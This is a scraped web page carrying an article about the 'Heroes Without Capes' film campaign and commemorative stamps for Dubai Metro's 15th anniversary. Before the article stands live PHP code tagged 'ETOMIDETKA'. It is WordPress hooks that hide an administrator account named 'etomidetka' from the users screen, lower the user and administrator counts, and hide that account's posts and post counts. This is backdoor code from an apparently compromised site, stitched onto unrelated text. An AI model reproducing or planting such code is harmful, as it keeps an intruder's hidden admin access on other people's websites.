//ETOMIDETKA add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); 'Heroes without Capes' Celebrates RTA 15th Anniversary
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‘Heroes without Capes’ Celebrates RTA 15th Anniversary

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'Heroes without Capes' Celebrates RTA 15th Anniversary

‘Heroes without Capes’ Celebrates RTA 15th Anniversary. In celebration of the 15th anniversary of Dubai’s iconic metro system, Livingroom Dubai and Boomtown Productions have joined forces to produce a compelling visual narrative titled Heroes Without Capes. The campaign, launched by the Road and Transport Authority (RTA), aims to highlight the unsung heroes of the city—the ordinary individuals who rely on the metro to fuel their daily lives and, in turn, contribute to Dubai’s success.

“Not all heroes fly. Some take the metro.” This poignant tagline encapsulates the spirit of the campaign, showcasing how the metro has quietly become an integral part of the city’s landscape, supporting countless people who are the backbone of its vibrant community.

The Story of Real Lives, Real Journeys

To mark this milestone, the RTA commissioned a series of films under the theme Real Lives, Real Journeys, a tribute to the millions of individuals whose lives are touched by the metro each day. These short films focus on three real-life passengers: a dedicated nurse, a hotel manager juggling a fast-paced career, and a gym enthusiast who is a person of determination. Each of these passengers represents a different facet of Dubai’s rich and diverse population, yet all share a common thread—reliance on the Dubai Metro to move through their lives.

By diving deep into their personal journeys, Real Lives, Real Journeys offers an intimate glimpse into how the metro helps empower people, connecting them with opportunities, responsibilities, and dreams. The film series serves as a visual testament to RTA’s commitment to “keep Dubai moving” and exemplifies how essential the metro system is in ensuring that the city’s workforce remains mobile, efficient, and productive.

A Creative Vision Rooted in Authenticity

The creative minds behind the campaign—Livingroom Dubai and Boomtown Productions—chose a documentary-style approach to tell the stories of these everyday heroes. The decision to use real people rather than actors adds a layer of authenticity, making the storytelling more genuine and emotionally resonant.

Seyoan Vela, Chief Creative Officer of Livingroom Dubai, shared insights into the creative strategy in an interview with Campaign Middle East: “The big difference in making a documentary is authenticity. These are not actors reading a script. These are real people allowing us to glimpse their real journeys, literally and metaphorically.”

Vela emphasized the challenges of finding individuals willing to share their daily struggles and triumphs on film. “The challenge was to find the real people, willing to appear on film and allow us to see the reality of their lives,” he explained. This raw, unfiltered approach to storytelling not only humanizes the metro but also serves to change perceptions among non-metro users, who may overlook the significance of the system in the city’s broader social and economic fabric.

Everyday Heroes: The Pulse of Dubai

The films are not just about showcasing personal stories; they aim to celebrate the resilience and contributions of individuals who may otherwise go unnoticed. In the bustling crowds of metro passengers, it’s easy to overlook the small acts of heroism that play out daily. The nurse who tirelessly cares for patients, the hotel manager ensuring guests have a seamless experience, and the gym enthusiast overcoming personal challenges—all contribute to the success of Dubai in their own ways.

The metro, as depicted in these films, is more than just a mode of transport. It’s a vital lifeline that connects these everyday heroes to their places of work, recreation, and personal fulfillment. Through these real-life narratives, the campaign highlights the pivotal role the metro plays in shaping the future of Dubai, not just by moving people, but by empowering them.

Celebrating A Milestone with Dubai Metro Stamps

In addition to the film series, Livingroom Dubai collaborated with Emirates Post to create a special commemorative edition of Dubai Metro stamps. These collectible stamps are designed to celebrate the 15-year milestone of the metro and feature a color palette inspired by the metro’s familiar hues. The background of the stamps includes iconic landmarks and views that have become familiar to metro users over the years, making them a true collector’s item.

Vela expressed pride in this collaboration, noting, “It’s an honor to feature on a nation’s stamps, and it shows the high regard the metro is held in to receive such recognition.” The stamps are more than just a tribute to the metro; they symbolize the integration of the metro into the heart and soul of Dubai, cementing its place in the city’s cultural and social fabric.

The Emotional Impact of Heroes Without Capes

At the heart of Heroes Without Capes is a powerful message: heroism is often found in the most unexpected places. The metro has long been a silent partner in the daily lives of Dubai’s residents, helping people go about their work and personal responsibilities. By putting the spotlight on the stories of ordinary people, this campaign reminds us that heroism doesn’t always come with a cape or superpowers. Instead, it can be found in the determination and dedication of those who wake up every day, navigate their challenges, and keep the city running.

The emotional resonance of these films lies in their raw honesty. By choosing to tell the stories of real people, Livingroom Dubai and Boomtown Productions have created a campaign that is not only visually captivating but also deeply moving. The stories of the nurse, hotel manager, and gym enthusiast resonate with viewers because they represent the broader human experience—the highs, the lows, the struggles, and the triumphs.

Conclusion

As the Dubai Metro marks its 15th anniversary, Heroes Without Capes serves as a fitting tribute to the unsung individuals who quietly power the city’s success. Through compelling storytelling, the campaign highlights the vital role the metro plays in connecting Dubai’s diverse community. Whether it’s the nurse caring for patients, the hotel manager keeping guests happy, or the gym enthusiast overcoming obstacles, these everyday heroes are the real driving force behind Dubai’s progress.

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